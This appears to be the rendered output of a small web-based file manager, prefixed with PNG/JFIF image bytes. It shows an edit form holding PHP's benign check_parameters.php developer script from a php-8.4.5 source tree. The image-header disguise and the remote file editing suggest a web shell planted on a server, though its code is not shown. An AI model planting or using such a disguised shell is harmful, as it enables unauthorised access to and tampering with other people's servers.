�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2F'>php-8.4.5</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fscripts%2F'>scripts</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fscripts%2Fdev%2F'>dev</a>/</p><hr><h3>✏️ Editing: check_parameters.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>#!/usr/bin/env php
&lt;?php
/*
  +----------------------------------------------------------------------+
  | Copyright (c) The PHP Group                                          |
  +----------------------------------------------------------------------+
  | This source file is subject to version 3.01 of the PHP license,      |
  | that is bundled with this package in the file LICENSE, and is        |
  | available through the world-wide-web at the following url:           |
  | https://www.php.net/license/3_01.txt                                 |
  | If you did not receive a copy of the PHP license and are unable to   |
  | obtain it through the world-wide-web, please send a note to          |
  | license@php.net so we can mail you a copy immediately.               |
  +----------------------------------------------------------------------+
  | Author: Nuno Lopes &lt;nlopess@php.net&gt;                                 |
  +----------------------------------------------------------------------+
*/

define(&#039;REPORT_LEVEL&#039;, 1); // 0 reports less false-positives. up to level 5.
define(&#039;VERSION&#039;, &#039;7.0&#039;);  // minimum is 7.0
define(&#039;PHPDIR&#039;, realpath(dirname(__FILE__) . &#039;/../..&#039;));

// be sure you have enough memory and stack for PHP. pcre will push the limits!
ini_set(&#039;pcre.backtrack_limit&#039;, 10000000);

// ------------------------ end of config ----------------------------

$API_params = array(
    &#039;a&#039; =&gt; array(&#039;zval**&#039;), // array
    &#039;A&#039; =&gt; array(&#039;zval**&#039;), // array or object
    &#039;b&#039; =&gt; array(&#039;bool*&#039;), // boolean
    &#039;d&#039; =&gt; array(&#039;double*&#039;), // double
    &#039;f&#039; =&gt; array(&#039;zend_fcall_info*&#039;, &#039;zend_fcall_info_cache*&#039;), // function
    &#039;h&#039; =&gt; array(&#039;HashTable**&#039;), // array as an HashTable*
    &#039;H&#039; =&gt; array(&#039;HashTable**&#039;), // array or HASH_OF(object)
    &#039;l&#039; =&gt; array(&#039;zend_long*&#039;), // long
    //TODO &#039;L&#039; =&gt; array(&#039;zend_long*, &#039;), // long
    &#039;o&#039; =&gt; array(&#039;zval**&#039;), //object
    &#039;O&#039; =&gt; array(&#039;zval**&#039;, &#039;zend_class_entry*&#039;), // object of given type
    &#039;P&#039; =&gt; array(&#039;zend_string**&#039;), // valid path
    &#039;r&#039; =&gt; array(&#039;zval**&#039;), // resource
    &#039;S&#039; =&gt; array(&#039;zend_string**&#039;), // string
    &#039;z&#039; =&gt; array(&#039;zval**&#039;), // zval*
    &#039;Z&#039; =&gt; array(&#039;zval***&#039;) // zval**
    // &#039;s&#039;, &#039;p&#039;, &#039;C&#039; handled separately
);

/** reports an error, according to its level */
function error($str, $level = 0)
{
    global $current_file, $current_function, $line, $error_reported;

    if ($level &lt;= REPORT_LEVEL) {
        if (strpos($current_file,PHPDIR) === 0) {
            $filename = substr($current_file, strlen(PHPDIR)+1);
        } else {
            $filename = $current_file;
        }
        echo $filename , &quot; [$line] $current_function : $str\n&quot;;
        $error_reported = true;
    }
}

/** this updates the global var $line (for error reporting) */
function update_lineno($offset)
{
    global $lines_offset, $line;

    $left  = 0;
    $right = $count = count($lines_offset)-1;

    // a nice binary search :)
    do {
        $mid = intval(($left + $right)/2);
        $val = $lines_offset[$mid];

        if ($val &lt; $offset) {
            if (++$mid &gt; $count || $lines_offset[$mid] &gt; $offset) {
                $line = $mid;
                return;
            } else {
                $left = $mid;
            }
        } else if ($val &gt; $offset) {
            if ($lines_offset[--$mid] &lt; $offset) {
                $line = $mid+1;
                return;
            } else {
                $right = $mid;
            }
        } else {
            $line = $mid+1;
            return;
        }
    } while (true);
}

/** parses the sources and fetches its vars name, type and if they are initialized or not */
function get_vars($txt)
{
    $ret =  array();
    preg_match_all(&#039;/((?:(?:unsigned|struct)\s+)?\w+)(?:\s*(\*+)\s+|\s+(\**))(\w+(?:\[\s*\w*\s*\])?)\s*(?:(=)[^,;]+)?((?:\s*,\s*\**\s*\w+(?:\[\s*\w*\s*\])?\s*(?:=[^,;]+)?)*)\s*;/S&#039;, $txt, $m, PREG_SET_ORDER);

    foreach ($m as $x) {
        // the first parameter is special
        if (!in_array($x[1], array(&#039;else&#039;, &#039;endif&#039;, &#039;return&#039;))) // hack to skip reserved words
            $ret[$x[4]] = array($x[1] . $x[2] . $x[3], $x[5]);

        // are there more vars?
        if ($x[6]) {
            preg_match_all(&#039;/(\**)\s*(\w+(?:\[\s*\w*\s*\])?)\s*(=?)/S&#039;, $x[6], $y, PREG_SET_ORDER);
            foreach ($y as $z) {
                $ret[$z[2]] = array($x[1] . $z[1], $z[3]);
            }
        }
    }

// if ($GLOBALS[&#039;current_function&#039;] == &#039;for_debugging&#039;) { print_r($m);print_r($ret); }
    return $ret;
}

/** run diagnostic checks against one var. */
function check_param($db, $idx, $exp, $optional, $allow_uninit = false)
{
    global $error_few_vars_given;

    if ($idx &gt;= count($db)) {
        if (!$error_few_vars_given) {
            error(&quot;too few variables passed to function&quot;);
            $error_few_vars_given = true;
        }
        return;
    } elseif ($db[$idx][0] === &#039;**dummy**&#039;) {
        return;
    }

    if ($db[$idx][1] != $exp) {
        error(&quot;{$db[$idx][0]}: expected &#039;$exp&#039; but got &#039;{$db[$idx][1]}&#039; [&quot;.($idx+1).&#039;]&#039;);
    }

    if (!$optional &amp;&amp; $db[$idx][2]) {
        error(&quot;not optional var is initialized: {$db[$idx][0]} [&quot;.($idx+1).&#039;]&#039;, 2);
    }
    if (!$allow_uninit &amp;&amp; $optional &amp;&amp; !$db[$idx][2]) {
        error(&quot;optional var not initialized: {$db[$idx][0]} [&quot;.($idx+1).&#039;]&#039;, 1);
    }
}

/** fetch params passed to zend_parse_params*() */
function get_params($vars, $str)
{
    $ret = array();
    preg_match_all(&#039;/(?:\([^)]+\))?(&amp;?)([\w&gt;.()-]+(?:\[\w+\])?)\s*,?((?:\)*\s*=)?)/S&#039;, $str, $m, PREG_SET_ORDER);

    foreach ($m as $x) {
        $name = $x[2];

        // little hack for last parameter
        if (strpos($name, &#039;(&#039;) === false) {
            $name = rtrim($name, &#039;)&#039;);
        }

        if (empty($vars[$name][0])) {
            error(&quot;variable not found: &#039;$name&#039;&quot;, 3);
            $ret[][] = &#039;**dummy**&#039;;

        } else {
            $ret[] = array($name, $vars[$name][0] . ($x[1] ? &#039;*&#039; : &#039;&#039;), $vars[$name][1]);
        }

        // the end (yes, this is a little hack :P)
        if ($x[3]) {
            break;
        }
    }

// if ($GLOBALS[&#039;current_function&#039;] == &#039;for_debugging&#039;) { var_dump($m); var_dump($ret); }
    return $ret;
}

/** run tests on a function. the code is passed in $txt */
function check_function($name, $txt, $offset)
{
    global $API_params;

    $regex = &#039;/
        (?: zend_parse_parameters(?:_throw)?               \s*\([^,]+
        |   zend_parse_(?:parameters_ex|method_parameters) \s*\([^,]+,[^,]+
        |   zend_parse_method_parameters_ex                \s*\([^,]+,[^,]+,[^,+]
        )
        ,\s*&quot;([^&quot;]*)&quot;\s*
        ,\s*([^{;]*)
    /Sx&#039;;
    if (preg_match_all($regex, $txt, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) {

        $GLOBALS[&#039;current_function&#039;] = $name;

        foreach ($matches as $m) {
            $GLOBALS[&#039;error_few_vars_given&#039;] = false;
            update_lineno($offset + $m[2][1]);

            $vars = get_vars(substr($txt, 0, $m[0][1])); // limit var search to current location
            $params = get_params($vars, $m[2][0]);
            $optional = $varargs = false;
            $last_char = &#039;&#039;;
            $j = -1;

            $spec = $m[1][0];
            $len = strlen($spec);
            for ($i = 0; $i &lt; $len; ++$i) {
                $char = $spec[$i];
                switch ($char = $spec[$i]) {
                    // separator for optional parameters
                    case &#039;|&#039;:
                        if ($optional) {
                            error(&quot;more than one optional separator at char #$i&quot;);
                        } else {
                            $optional = true;
                            if ($i == $len-1) {
                                error(&quot;unnecessary optional separator&quot;);
                            }
                        }
                    break;

                    // separate_zval_if_not_ref
                    case &#039;/&#039;:
                        if (in_array($last_char, array(&#039;l&#039;, &#039;L&#039;, &#039;d&#039;, &#039;b&#039;))) {
                            error(&quot;the &#039;/&#039; specifier should not be applied to &#039;$last_char&#039;&quot;);
                        }
                    break;

                    // nullable arguments
                    case &#039;!&#039;:
                        if (in_array($last_char, array(&#039;l&#039;, &#039;L&#039;, &#039;d&#039;, &#039;b&#039;))) {
                            check_param($params, ++$j, &#039;bool*&#039;, $optional);
                        }
                    break;

                    // variadic arguments
                    case &#039;+&#039;:
                    case &#039;*&#039;:
                        if ($varargs) {
                            error(&quot;A varargs specifier can only be used once. repeated char at column $i&quot;);
                        } else {
                            check_param($params, ++$j, &#039;zval**&#039;, $optional);
                            check_param($params, ++$j, &#039;int*&#039;, $optional);
                            $varargs = true;
                        }
                    break;

                    case &#039;s&#039;:
                    case &#039;p&#039;:
                        check_param($params, ++$j, &#039;char**&#039;, $optional, $allow_uninit=true);
                        check_param($params, ++$j, &#039;size_t*&#039;, $optional, $allow_uninit=true);
                        if ($optional &amp;&amp; !$params[$j-1][2] &amp;&amp; !$params[$j][2]
                                &amp;&amp; $params[$j-1][0] !== &#039;**dummy**&#039; &amp;&amp; $params[$j][0] !== &#039;**dummy**&#039;) {
                            error(&quot;one of optional vars {$params[$j-1][0]} or {$params[$j][0]} must be initialized&quot;, 1);
                        }
                    break;

                    case &#039;C&#039;:
                        // C must always be initialized, independently of whether it&#039;s optional
                        check_param($params, ++$j, &#039;zend_class_entry**&#039;, false);
                    break;

                    default:
                        if (!isset($API_params[$char])) {
                            error(&quot;unknown char (&#039;$char&#039;) at column $i&quot;);
                        }

                        // If an is_null flag is in use, only that flag is required to be
                        // initialized
                        $allow_uninit = $i+1 &lt; $len &amp;&amp; $spec[$i+1] === &#039;!&#039;
                                &amp;&amp; in_array($char, array(&#039;l&#039;, &#039;L&#039;, &#039;d&#039;, &#039;b&#039;));

                        foreach ($API_params[$char] as $exp) {
                            check_param($params, ++$j, $exp, $optional, $allow_uninit);
                        }
                }

                $last_char = $char;
            }
        }
    }
}

/** the main recursion function. splits files in functions and calls the other functions */
function recurse($path)
{
    foreach (scandir($path) as $file) {
        if ($file == &#039;.&#039; || $file == &#039;..&#039; || $file == &#039;CVS&#039;) continue;

        $file = &quot;$path/$file&quot;;
        if (is_dir($file)) {
            recurse($file);
            continue;
        }

        // parse only .c and .cpp files
        if (substr_compare($file, &#039;.c&#039;, -2) &amp;&amp; substr_compare($file, &#039;.cpp&#039;, -4)) continue;

        $txt = file_get_contents($file);
        // remove comments (but preserve the number of lines)
        $txt = preg_replace(&#039;@//.*@S&#039;, &#039;&#039;, $txt);
        $txt = preg_replace_callback(&#039;@/\*.*\*/@SsU&#039;, function($matches) {
            return preg_replace(&quot;/[^\r\n]+/S&quot;, &quot;&quot;, $matches[0]);
        }, $txt);

        $split = preg_split(&#039;/PHP_(?:NAMED_)?(?:FUNCTION|METHOD)\s*\((\w+(?:,\s*\w+)?)\)/S&#039;, $txt, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_OFFSET_CAPTURE);

        if (count($split) &lt; 2) continue; // no functions defined on this file
        array_shift($split); // the first part isn&#039;t relevant

        // generate the line offsets array
        $j = 0;
        $lines = preg_split(&quot;/(\r\n?|\n)/S&quot;, $txt, -1, PREG_SPLIT_DELIM_CAPTURE);
        $lines_offset = array();

        for ($i = 0; $i &lt; count($lines); ++$i) {
            $j += strlen($lines[$i]) + strlen(@$lines[++$i]);
            $lines_offset[] = $j;
        }

        $GLOBALS[&#039;lines_offset&#039;] = $lines_offset;
        $GLOBALS[&#039;current_file&#039;] = $file;

        for ($i = 0; $i &lt; count($split); $i+=2) {
            // if the /* }}} */ comment is found use it to reduce false positives
            // TODO: check the other indexes
            list($f) = preg_split(&#039;@/\*\s*}}}\s*\*/@S&#039;, $split[$i+1][0]);
            check_function(preg_replace(&#039;/\s*,\s*/S&#039;, &#039;::&#039;, $split[$i][0]), $f, $split[$i][1]);
        }
    }
}

$dirs = array();

if (isset($argc) &amp;&amp; $argc &gt; 1) {
    if ($argv[1] == &#039;-h&#039; || $argv[1] == &#039;-help&#039; || $argv[1] == &#039;--help&#039;) {
        echo &lt;&lt;&lt;HELP
Synopsis:
    php check_parameters.php [directories]

HELP;
        exit(0);
    }
    for ($i = 1; $i &lt; $argc; $i++) {
        $dirs[] = $argv[$i];
    }
} else {
    $dirs[] = PHPDIR;
}

foreach($dirs as $dir) {
    if (is_dir($dir)) {
        if (!is_readable($dir)) {
            echo &quot;ERROR: directory &#039;&quot;, $dir ,&quot;&#039; is not readable\n&quot;;
            exit(1);
        }
    } else {
        echo &quot;ERROR: bogus directory &#039;&quot;, $dir ,&quot;&#039;\n&quot;;
        exit(1);
    }
}

$error_reported = false;
foreach ($dirs as $dir) {
    recurse(realpath($dir));
}

exit($error_reported === false ? 0 : 2);
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fscripts%2Fdev'>🔙 Back</a></p>